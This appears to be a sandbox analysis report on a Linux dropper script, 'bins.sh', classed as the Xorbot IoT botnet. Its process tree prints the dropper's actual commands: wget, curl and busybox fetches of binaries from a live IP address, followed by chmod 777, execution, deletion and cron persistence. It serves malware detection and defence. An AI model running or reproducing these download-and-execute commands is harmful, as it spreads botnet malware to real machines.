Overview

overview

10

Static

static

1

bins.sh

ubuntu-18.04-amd64

10

bins.sh

debian-9-armhf

10

bins.sh

debian-9-mips

10

bins.sh

debian-9-mipsel

10

Analysis

  • max time kernel
    149s
  • max time network
    153s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    03-12-2024 11:01

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General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    bfffb3d2e49097085b53b3afde692a37

  • SHA1

    db34a62b3c3e16ac310e1318e02b252a484e5cee

  • SHA256

    6be9b943dcfdfa48fd7d9d38cfad2decda4eaad06b64f9602a37da7aa78aef13

  • SHA512

    81c880c24a598a9c8424aed4497f3bcb2998143b4ab5033f3a10c07ff147123e7c75b4c02630a2a8998400ac7106889750115a30eb84759ddd9da4f0131a8004

  • SSDEEP

    192:5yXQoVEw8wYwOw5wZwnhnzqIw8wYwOw5wZwH9x:5yX9Bb/diCnhnzCb/diCHr

Score
10/10
xorbotantivmbotnetdefense_evasiondiscoveryexecutionpersistenceprivilege_escalatiotrojan

Malware Config

Signatures

  • Detects Xorbot 6 IoCs
    botnettrojan
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

    botnettrojanxorbot
  • Xorbot family
    xorbot
  • Contacts a large (1515) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • File and Directory Permissions Modification 1 TTPs 7 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 7 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalatio
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 7 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

    antivm
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • System Network Configuration Discovery 1 TTPs 10 IoCs

    Adversaries may gather information about the network configuration of a system.

    discovery
  • Writes file to tmp directory 21 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:656
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:662
        • /usr/bin/wget
          wget http://216.126.231.240/bins/JXrD2n66XZaElCPS3XH2134dNCM9GBpmB4
          2⤵
          • Writes file to tmp directory
          PID:666
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/JXrD2n66XZaElCPS3XH2134dNCM9GBpmB4
          2⤵
          • Checks CPU configuration
          • Reads runtime system information
          • Writes file to tmp directory
          PID:684
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/JXrD2n66XZaElCPS3XH2134dNCM9GBpmB4
          2⤵
          • Writes file to tmp directory
          PID:697
        • /bin/chmod
          chmod 777 JXrD2n66XZaElCPS3XH2134dNCM9GBpmB4
          2⤵
          • File and Directory Permissions Modification
          PID:710
        • /tmp/JXrD2n66XZaElCPS3XH2134dNCM9GBpmB4
          ./JXrD2n66XZaElCPS3XH2134dNCM9GBpmB4
          2⤵
          • Executes dropped EXE
          PID:712
        • /bin/rm
          rm JXrD2n66XZaElCPS3XH2134dNCM9GBpmB4
          2⤵
            PID:715
          • /usr/bin/wget
            wget http://216.126.231.240/bins/nZD7MscEQuXrD05iSbTIp0cxc8vObPJqel
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:716
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/nZD7MscEQuXrD05iSbTIp0cxc8vObPJqel
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:723
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/nZD7MscEQuXrD05iSbTIp0cxc8vObPJqel
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:736
          • /bin/chmod
            chmod 777 nZD7MscEQuXrD05iSbTIp0cxc8vObPJqel
            2⤵
            • File and Directory Permissions Modification
            PID:751
          • /tmp/nZD7MscEQuXrD05iSbTIp0cxc8vObPJqel
            ./nZD7MscEQuXrD05iSbTIp0cxc8vObPJqel
            2⤵
            • Executes dropped EXE
            • System Network Configuration Discovery
            PID:752
          • /bin/rm
            rm nZD7MscEQuXrD05iSbTIp0cxc8vObPJqel
            2⤵
            • System Network Configuration Discovery
            PID:756
          • /usr/bin/wget
            wget http://216.126.231.240/bins/N4vIlvXFyBQEtXHgb8V9XJNPITZwhFiXD5
            2⤵
            • Writes file to tmp directory
            PID:757
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/N4vIlvXFyBQEtXHgb8V9XJNPITZwhFiXD5
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            • Writes file to tmp directory
            PID:780
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/N4vIlvXFyBQEtXHgb8V9XJNPITZwhFiXD5
            2⤵
            • Writes file to tmp directory
            PID:781
          • /bin/chmod
            chmod 777 N4vIlvXFyBQEtXHgb8V9XJNPITZwhFiXD5
            2⤵
            • File and Directory Permissions Modification
            PID:782
          • /tmp/N4vIlvXFyBQEtXHgb8V9XJNPITZwhFiXD5
            ./N4vIlvXFyBQEtXHgb8V9XJNPITZwhFiXD5
            2⤵
            • Executes dropped EXE
            PID:783
          • /bin/rm
            rm N4vIlvXFyBQEtXHgb8V9XJNPITZwhFiXD5
            2⤵
              PID:785
            • /usr/bin/wget
              wget http://216.126.231.240/bins/UMjoNhXEzc48utEDWbXv54DxfS9764N5gh
              2⤵
              • Writes file to tmp directory
              PID:786
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/UMjoNhXEzc48utEDWbXv54DxfS9764N5gh
              2⤵
              • Checks CPU configuration
              • Writes file to tmp directory
              PID:787
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/UMjoNhXEzc48utEDWbXv54DxfS9764N5gh
              2⤵
              • Writes file to tmp directory
              PID:788
            • /bin/chmod
              chmod 777 UMjoNhXEzc48utEDWbXv54DxfS9764N5gh
              2⤵
              • File and Directory Permissions Modification
              PID:789
            • /tmp/UMjoNhXEzc48utEDWbXv54DxfS9764N5gh
              ./UMjoNhXEzc48utEDWbXv54DxfS9764N5gh
              2⤵
              • Executes dropped EXE
              PID:790
            • /bin/rm
              rm UMjoNhXEzc48utEDWbXv54DxfS9764N5gh
              2⤵
                PID:792
              • /usr/bin/wget
                wget http://216.126.231.240/bins/DGyMw3seiPZkzjg2U2VRyvfN4BQE42H7LT
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:793
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/DGyMw3seiPZkzjg2U2VRyvfN4BQE42H7LT
                2⤵
                • Checks CPU configuration
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:797
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/DGyMw3seiPZkzjg2U2VRyvfN4BQE42H7LT
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:798
              • /bin/chmod
                chmod 777 DGyMw3seiPZkzjg2U2VRyvfN4BQE42H7LT
                2⤵
                • File and Directory Permissions Modification
                PID:800
              • /tmp/DGyMw3seiPZkzjg2U2VRyvfN4BQE42H7LT
                ./DGyMw3seiPZkzjg2U2VRyvfN4BQE42H7LT
                2⤵
                • Executes dropped EXE
                • System Network Configuration Discovery
                PID:801
              • /bin/rm
                rm DGyMw3seiPZkzjg2U2VRyvfN4BQE42H7LT
                2⤵
                • System Network Configuration Discovery
                PID:803
              • /usr/bin/wget
                wget http://216.126.231.240/bins/pbdX2fLKrQnRFTU30ULHmpCF5NQhpvdQwM
                2⤵
                • Writes file to tmp directory
                PID:804
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/pbdX2fLKrQnRFTU30ULHmpCF5NQhpvdQwM
                2⤵
                • Checks CPU configuration
                • Writes file to tmp directory
                PID:806
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/pbdX2fLKrQnRFTU30ULHmpCF5NQhpvdQwM
                2⤵
                • Writes file to tmp directory
                PID:807
              • /bin/chmod
                chmod 777 pbdX2fLKrQnRFTU30ULHmpCF5NQhpvdQwM
                2⤵
                • File and Directory Permissions Modification
                PID:808
              • /tmp/pbdX2fLKrQnRFTU30ULHmpCF5NQhpvdQwM
                ./pbdX2fLKrQnRFTU30ULHmpCF5NQhpvdQwM
                2⤵
                • Executes dropped EXE
                PID:809
              • /bin/rm
                rm pbdX2fLKrQnRFTU30ULHmpCF5NQhpvdQwM
                2⤵
                  PID:811
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/tSWlbes7h6Kad4Fe4w0HiBGvEAjaxutqCg
                  2⤵
                  • Writes file to tmp directory
                  PID:812
                • /usr/bin/curl
                  curl -O http://216.126.231.240/bins/tSWlbes7h6Kad4Fe4w0HiBGvEAjaxutqCg
                  2⤵
                  • Checks CPU configuration
                  • Writes file to tmp directory
                  PID:813
                • /bin/busybox
                  /bin/busybox wget http://216.126.231.240/bins/tSWlbes7h6Kad4Fe4w0HiBGvEAjaxutqCg
                  2⤵
                  • Writes file to tmp directory
                  PID:814
                • /bin/chmod
                  chmod 777 tSWlbes7h6Kad4Fe4w0HiBGvEAjaxutqCg
                  2⤵
                  • File and Directory Permissions Modification
                  PID:815
                • /tmp/tSWlbes7h6Kad4Fe4w0HiBGvEAjaxutqCg
                  ./tSWlbes7h6Kad4Fe4w0HiBGvEAjaxutqCg
                  2⤵
                  • Executes dropped EXE
                  • Renames itself
                  • Reads runtime system information
                  PID:816
                  • /bin/sh
                    sh -c "crontab -l"
                    3⤵
                      PID:818
                      • /usr/bin/crontab
                        crontab -l
                        4⤵
                          PID:819
                      • /bin/sh
                        sh -c "crontab -"
                        3⤵
                          PID:820
                          • /usr/bin/crontab
                            crontab -
                            4⤵
                            • Creates/modifies Cron job
                            PID:821
                      • /bin/rm
                        rm tSWlbes7h6Kad4Fe4w0HiBGvEAjaxutqCg
                        2⤵
                          PID:823
                        • /usr/bin/wget
                          wget http://216.126.231.240/bins/BCTWXlqrq60By1ICZYJkJsC4y1qxTab2XD
                          2⤵
                            PID:826

                        Network

                        MITRE ATT&CK Enterprise v15

                        Replay Monitor

                        Loading Replay Monitor...

                        Downloads

                        • /tmp/DGyMw3seiPZkzjg2U2VRyvfN4BQE42H7LT
                          Filesize

                          107KB

                          MD5

                          eb9c3a0de91fcf16ba17cb24608df68c

                          SHA1

                          09d95a7d70d5e115d103be51edff7c498d272fac

                          SHA256

                          dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                          SHA512

                          9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                          Download Submit

                        • /tmp/JXrD2n66XZaElCPS3XH2134dNCM9GBpmB4
                          Filesize

                          111KB

                          MD5

                          ca897a38f23ec23521ce0b1b83f8422d

                          SHA1

                          b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

                          SHA256

                          043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

                          SHA512

                          10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

                          Download Submit

                        • /tmp/N4vIlvXFyBQEtXHgb8V9XJNPITZwhFiXD5
                          Filesize

                          98KB

                          MD5

                          5141342d0df8699fa32a6b066a0c592e

                          SHA1

                          8157673225bd5182f16215e2aa823a25ca2d4fbc

                          SHA256

                          54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                          SHA512

                          d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                          Download Submit

                        • /tmp/UMjoNhXEzc48utEDWbXv54DxfS9764N5gh
                          Filesize

                          151KB

                          MD5

                          6c583043d91c55aa470c08c87058e917

                          SHA1

                          abf65a5b9bba69980278ad09356e53de8bb89439

                          SHA256

                          2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                          SHA512

                          82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                          Download Submit

                        • /tmp/nZD7MscEQuXrD05iSbTIp0cxc8vObPJqel
                          Filesize

                          112KB

                          MD5

                          05d7857dcead18bbd86d2935f591873c

                          SHA1

                          34d18f41ef35f93d5364ce3e24d74730a4e91985

                          SHA256

                          2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                          SHA512

                          d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                          Download Submit

                        • /tmp/pbdX2fLKrQnRFTU30ULHmpCF5NQhpvdQwM
                          Filesize

                          117KB

                          MD5

                          849fa04ef88a8e8de32cb2e8538de5fe

                          SHA1

                          c768af29fe4b6695fff1541623e8bbd1c6f242f7

                          SHA256

                          8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

                          SHA512

                          2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

                          Download Submit

                        • /tmp/tSWlbes7h6Kad4Fe4w0HiBGvEAjaxutqCg
                          Filesize

                          119KB

                          MD5

                          1b166b95f9cb4b079ef1b9ec8363ddf3

                          SHA1

                          0d8eb08add467b3b5474f9b25909297fe7c2839c

                          SHA256

                          94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

                          SHA512

                          983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

                          Download Submit

                        • /var/spool/cron/crontabs/tmp.iYShWd
                          Filesize

                          210B

                          MD5

                          37cd7bd3d202207b9840655a84c73942

                          SHA1

                          3e7a2dc56917184b9148d4e1448c219b6686e26b

                          SHA256

                          672c178e019c379324dee11c6c07b0d0e30f2a2180cd12ac491192e8f8bbfb10

                          SHA512

                          ffd1c999e7329951364cab6a1704fc82103101ff0bbb542361b0b19dd3fd7e54aef72f2f9fdab436ce8e2dac3031dde1d94581fe5b60b14c2c687aa8b95d3b13

                          Download Submit